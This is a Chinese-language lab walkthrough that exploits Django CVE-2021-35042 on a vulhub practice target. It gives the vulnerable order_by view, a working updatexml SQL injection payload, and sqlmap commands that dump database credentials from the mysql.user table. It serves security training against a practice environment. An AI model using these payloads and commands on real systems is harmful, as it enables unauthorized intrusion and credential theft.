靶机在vulhub文件夹中打开终端,输入命令
cd django/CVE-2021-35042
sudo docker-compose build
sudo docker-compose up -d
sudo docker-compose ps
可以看到一共开了两个容器,一个是web服务的容器,一个是数据库的容器
访问web页面,此时页面会提示你到/vuln路径下,该页面的源码是
from django.shortcuts import HttpResponse
from .models import Collection
# Create your views here.
def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())
我们可以看到该页面有可上传的参数order,当我们输入URL:http://靶机IP:8000/vuln/?order=1时可以看到页面提示order值应该为id或者name
然后就可以通过输入特定内容进行排序,说明order_by()函数正常,这时候使用一些特殊符号如
> .
> '
> ''
> (
> )
> ;
等等进行引发错误,当输入 . 时发现引发了一个特殊错误,可以看到该处的SQL语句包含了括号
我们可以尝试继续在 . 后面添加其他参数,如添加.id时发现与id内容相同,说明该处存在注入点,可以使用以下命令验证注入点存在
.id);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
那么我们打开 kali 终端,输入命令:
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" --dbs --threads=10
然后就可以得到其数据库名
该网页使用的数据库是cve,一般情况下应该继续挖掘cve数据中的用户账号密码,但是该靶机中并没有用户列表等内容,所以我们可以挖掘该网页数据库的账号密码
继续输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id -D mysql --tables
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user --column
发现用户名,主机地址以及密码,输入命令
sqlmap -u "http://靶机IP:8000/vuln/?order=.id" -D mysql -T user -C User,authentication_string,Host --dump
现在就获得了靶机数据库的账号和密码,一般情况下应该继续输入命令
mysql -h靶机IP -uroot -pmysql
但是该靶场中数据库使用的是单独容器,而且该容器没有使用特定IP地址,如果我们使用上述的命令,连接到的是靶机本机的数据库,而不是容器本身的数据库,为了验证正确性,我们可以到靶机中进入数据库容器中
输入命令
mysql-uroot -pmysql
登录成功,密码正确